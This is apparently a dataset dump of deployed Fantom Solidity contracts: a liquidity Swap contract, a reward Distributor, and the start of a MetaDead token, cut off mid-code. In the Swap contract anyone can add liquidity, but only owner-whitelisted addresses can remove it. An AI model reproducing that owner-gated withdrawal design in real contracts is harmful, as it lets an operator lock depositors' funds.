f0dfa9bdfc0f7c45863d63a8395123d63af2a73a029585637625242475d19254
| 31,415 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/42/429efd4833bf826a15409d2b8bc989ed55a517b1_Swap.sol
| 5,453 | 19,687 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner,"you are not the owner");
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0),"newowner not 0 address");
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: openzeppelin-solidity/contracts/ownership/Whitelist.sol
contract Whitelist is Ownable {
mapping(address => bool) public whitelist;
event WhitelistedAddressAdded(address addr);
event WhitelistedAddressRemoved(address addr);
modifier onlyWhitelisted() {
require(whitelist[msg.sender], 'no whitelist');
_;
}
function addAddressToWhitelist(address addr) onlyOwner public returns(bool success) {
if (!whitelist[addr]) {
whitelist[addr] = true;
emit WhitelistedAddressAdded(addr);
success = true;
}
}
function addAddressesToWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (addAddressToWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
function removeAddressFromWhitelist(address addr) onlyOwner public returns(bool success) {
if (whitelist[addr]) {
whitelist[addr] = false;
emit WhitelistedAddressRemoved(addr);
success = true;
}
return success;
}
function removeAddressesFromWhitelist(address[] memory addrs) onlyOwner public returns(bool success) {
for (uint256 i = 0; i < addrs.length; i++) {
if (removeAddressFromWhitelist(addrs[i])) {
success = true;
}
}
return success;
}
}
contract BEP20 {
using SafeMath for uint256;
mapping (address => uint256) internal _balances;
mapping (address => mapping (address => uint256)) internal _allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0),"to address will not be 0");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0),"2");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0),"3");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0),"4");
require(owner != address(0),"5");
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeSub(uint a, uint b) internal pure returns (uint) {
if (b > a) {
return 0;
} else {
return a - b;
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
interface IToken {
function calculateTransferTaxes(address _from, uint256 _value) external view returns (uint256 adjustedValue, uint256 taxAmount);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function balanceOf(address who) external view returns (uint256);
function burn(uint256 _value) external;
}
contract Swap is BEP20, Whitelist {
string public constant name = "Solisium Liquidity Token";
string public constant symbol = "SLSL";
uint8 public constant decimals = 18;
// Variables
IToken internal token; // address of the BEP20 token traded on this contract
uint256 public totalTxs;
uint256 internal lastBalance_;
uint256 internal trackingInterval_ = 1 minutes;
uint256 public providers;
mapping (address => bool) internal _providers;
mapping (address => uint256) internal _txs;
bool public isPaused = true;
// Events
event onTokenPurchase(address indexed buyer, uint256 indexed matic_amount, uint256 indexed token_amount);
event onmaticPurchase(address indexed buyer, uint256 indexed token_amount, uint256 indexed matic_amount);
event onAddLiquidity(address indexed provider, uint256 indexed matic_amount, uint256 indexed token_amount);
event onRemoveLiquidity(address indexed provider, uint256 indexed matic_amount, uint256 indexed token_amount);
event onLiquidity(address indexed provider, uint256 indexed amount);
event onContractBalance(uint256 balance);
event onPrice(uint256 price);
event onSummary(uint256 liquidity, uint256 price);
constructor (address token_addr) Ownable() public {
token = IToken(token_addr);
lastBalance_= now;
}
function unpause() public onlyOwner {
isPaused = false;
}
function pause() public onlyOwner {
isPaused = true;
}
modifier isNotPaused() {
require(!isPaused, "Swaps currently paused");
_;
}
receive() external payable {
maticToTokenInput(msg.value, 1, msg.sender, msg.sender);
}
function getInputPrice(uint256 input_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0, "INVALID_VALUE");
uint256 input_amount_with_fee = input_amount.mul(990);
uint256 numerator = input_amount_with_fee.mul(output_reserve);
uint256 denominator = input_reserve.mul(1000).add(input_amount_with_fee);
return numerator / denominator;
}
function getOutputPrice(uint256 output_amount, uint256 input_reserve, uint256 output_reserve) public view returns (uint256) {
require(input_reserve > 0 && output_reserve > 0,"input_reserve & output reserve must >0");
uint256 numerator = input_reserve.mul(output_amount).mul(1000);
uint256 denominator = (output_reserve.sub(output_amount)).mul(990);
return (numerator / denominator).add(1);
}
function maticToTokenInput(uint256 matic_sold, uint256 min_tokens, address buyer, address recipient) private returns (uint256) {
require(matic_sold > 0 && min_tokens > 0, "sold and min 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_bought = getInputPrice(matic_sold, address(this).balance.sub(matic_sold), token_reserve);
require(tokens_bought >= min_tokens, "tokens_bought >= min_tokens");
require(token.transfer(recipient, tokens_bought), "transfer err");
emit onTokenPurchase(buyer, matic_sold, tokens_bought);
emit onContractBalance(maticBalance());
trackGlobalStats();
return tokens_bought;
}
function maticToTokenSwapInput(uint256 min_tokens) public payable isNotPaused returns (uint256) {
return maticToTokenInput(msg.value, min_tokens,msg.sender, msg.sender);
}
function maticToTokenOutput(uint256 tokens_bought, uint256 max_matic, address buyer, address recipient) private returns (uint256) {
require(tokens_bought > 0 && max_matic > 0,"tokens_bought > 0 && max_matic >");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_sold = getOutputPrice(tokens_bought, address(this).balance.sub(max_matic), token_reserve);
// Throws if matic_sold > max_matic
uint256 matic_refund = max_matic.sub(matic_sold);
if (matic_refund > 0) {
payable(buyer).transfer(matic_refund);
}
require(token.transfer(recipient, tokens_bought),"error");
emit onTokenPurchase(buyer, matic_sold, tokens_bought);
trackGlobalStats();
return matic_sold;
}
function maticToTokenSwapOutput(uint256 tokens_bought) public payable isNotPaused returns (uint256) {
return maticToTokenOutput(tokens_bought, msg.value, msg.sender, msg.sender);
}
function tokenTomaticInput(uint256 tokens_sold, uint256 min_matic, address buyer, address recipient) private returns (uint256) {
require(tokens_sold > 0 && min_matic > 0,"tokens_sold > 0 && min_matic > 0");
uint256 token_reserve = token.balanceOf(address(this));
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
uint256 matic_bought = getInputPrice(realized_sold, token_reserve, address(this).balance);
require(matic_bought >= min_matic,"matic_bought >= min_matic");
payable(recipient).transfer(matic_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transforfrom error");
emit onmaticPurchase(buyer, tokens_sold, matic_bought);
trackGlobalStats();
return matic_bought;
}
function tokenTomaticSwapInput(uint256 tokens_sold, uint256 min_matic) public isNotPaused returns (uint256) {
return tokenTomaticInput(tokens_sold, min_matic, msg.sender, msg.sender);
}
function tokenTomaticOutput(uint256 matic_bought, uint256 max_tokens, address buyer, address recipient) private returns (uint256) {
require(matic_bought > 0,"matic_bought > 0");
uint256 token_reserve = token.balanceOf(address(this));
uint256 tokens_sold = getOutputPrice(matic_bought, token_reserve, address(this).balance);
(uint256 realized_sold, uint256 taxAmount) = token.calculateTransferTaxes(buyer, tokens_sold);
tokens_sold += taxAmount;
// tokens sold is always > 0
require(max_tokens >= tokens_sold, 'max tokens exceeded');
payable(recipient).transfer(matic_bought);
require(token.transferFrom(buyer, address(this), tokens_sold),"transorfroom error");
emit onmaticPurchase(buyer, tokens_sold, matic_bought);
trackGlobalStats();
return tokens_sold;
}
function tokenTomaticSwapOutput(uint256 matic_bought, uint256 max_tokens) public isNotPaused returns (uint256) {
return tokenTomaticOutput(matic_bought, max_tokens, msg.sender, msg.sender);
}
function trackGlobalStats() private {
uint256 price = getmaticToTokenOutputPrice(1e18);
uint256 balance = maticBalance();
if (now.safeSub(lastBalance_) > trackingInterval_) {
emit onSummary(balance * 2, price);
lastBalance_ = now;
}
emit onContractBalance(balance);
emit onPrice(price);
totalTxs += 1;
_txs[msg.sender] += 1;
}
function getmaticToTokenInputPrice(uint256 matic_sold) public view returns (uint256) {
require(matic_sold > 0,"matic_sold > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
return getInputPrice(matic_sold, address(this).balance, token_reserve);
}
function getmaticToTokenOutputPrice(uint256 tokens_bought) public view returns (uint256) {
require(tokens_bought > 0,"tokens_bought > 0,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_sold = getOutputPrice(tokens_bought, address(this).balance, token_reserve);
return matic_sold;
}
function getTokenTomaticInputPrice(uint256 tokens_sold) public view returns (uint256) {
require(tokens_sold > 0, "token sold < 0,,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_bought = getInputPrice(tokens_sold, token_reserve, address(this).balance);
return matic_bought;
}
function getTokenTomaticOutputPrice(uint256 matic_bought) public view returns (uint256) {
require(matic_bought > 0,"matic_bought > 0,,,,2");
uint256 token_reserve = token.balanceOf(address(this));
return getOutputPrice(matic_bought, token_reserve, address(this).balance);
}
function tokenAddress() public view returns (address) {
return address(token);
}
function maticBalance() public view returns (uint256) {
return address(this).balance;
}
function tokenBalance() public view returns (uint256) {
return token.balanceOf(address(this));
}
function getmaticToLiquidityInputPrice(uint256 matic_sold) public view returns (uint256){
require(matic_sold > 0,"matic_sold > 0,,,,,3");
uint256 token_amount = 0;
uint256 total_liquidity = _totalSupply;
uint256 matic_reserve = address(this).balance;
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (matic_sold.mul(token_reserve) / matic_reserve).add(1);
uint256 liquidity_minted = matic_sold.mul(total_liquidity) / matic_reserve;
return liquidity_minted;
}
function getLiquidityToReserveInputPrice(uint amount) public view returns (uint256, uint256){
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0,"total_liquidity > 0,,,,1");
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
return (matic_amount, token_amount);
}
function txs(address owner) public view returns (uint256) {
return _txs[owner];
}
function addLiquidity(uint256 min_liquidity, uint256 max_tokens) isNotPaused public payable returns (uint256) {
require(max_tokens > 0 && msg.value > 0, "Swap#addLiquidity: INVALID_ARGUMENT");
uint256 total_liquidity = _totalSupply;
uint256 token_amount = 0;
if (_providers[msg.sender] == false){
_providers[msg.sender] = true;
providers += 1;
}
if (total_liquidity > 0) {
require(min_liquidity > 0,"min_liquidity > 0,,,,4");
uint256 matic_reserve = address(this).balance.sub(msg.value);
uint256 token_reserve = token.balanceOf(address(this));
token_amount = (msg.value.mul(token_reserve) / matic_reserve).add(1);
uint256 liquidity_minted = msg.value.mul(total_liquidity) / matic_reserve;
require(max_tokens >= token_amount && liquidity_minted >= min_liquidity,"max_tokens >= token_amount && liquidity_minted >= min_liquidity,,,,1");
_balances[msg.sender] = _balances[msg.sender].add(liquidity_minted);
_totalSupply = total_liquidity.add(liquidity_minted);
require(token.transferFrom(msg.sender, address(this), token_amount),"transfrom4 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, liquidity_minted);
return liquidity_minted;
} else {
require(msg.value >= 1e18, "INVALID_VALUE");
token_amount = max_tokens;
uint256 initial_liquidity = address(this).balance;
_totalSupply = initial_liquidity;
_balances[msg.sender] = initial_liquidity;
require(token.transferFrom(msg.sender, address(this), token_amount),"transforfrom 5 error");
emit onAddLiquidity(msg.sender, msg.value, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(address(0), msg.sender, initial_liquidity);
return initial_liquidity;
}
}
function removeLiquidity(uint256 amount, uint256 min_matic, uint256 min_tokens) onlyWhitelisted public returns (uint256, uint256) {
require(amount > 0 && min_matic > 0 && min_tokens > 0,"amount > 0 && min_matic > 0 && min_tokens > 0,333");
uint256 total_liquidity = _totalSupply;
require(total_liquidity > 0);
uint256 token_reserve = token.balanceOf(address(this));
uint256 matic_amount = amount.mul(address(this).balance) / total_liquidity;
uint256 token_amount = amount.mul(token_reserve) / total_liquidity;
require(matic_amount >= min_matic && token_amount >= min_tokens,"(matic_amount >= min_matic && token_amount >= min_tokens,33");
_balances[msg.sender] = _balances[msg.sender].sub(amount);
_totalSupply = total_liquidity.sub(amount);
msg.sender.transfer(matic_amount);
require(token.transfer(msg.sender, token_amount),"transfer error");
emit onRemoveLiquidity(msg.sender, matic_amount, token_amount);
emit onLiquidity(msg.sender, _balances[msg.sender]);
emit Transfer(msg.sender, address(0), amount);
return (matic_amount, token_amount);
}
}
| 310,884 | 14,097 |
55af96711a64f56de5fcb4a128a3e9edd94617bf9e106c4040d06d14fed4a7a4
| 17,263 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/f9/f9571592e60eD842470e3574D44665445156C77f_Distributor.sol
| 3,971 | 15,676 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable SCR;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _scr, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_scr != address(0));
SCR = _scr;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(SCR).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 323,106 | 14,098 |
d27ff99e574828867d331267de4a043afee4d92614adcd7be2d3bf2bc3b12fe9
| 29,493 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/8a/8ac0F26AB499F7E0a7B9c12aF0a53467d7f10E12_MetaDead.sol
| 5,201 | 18,736 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
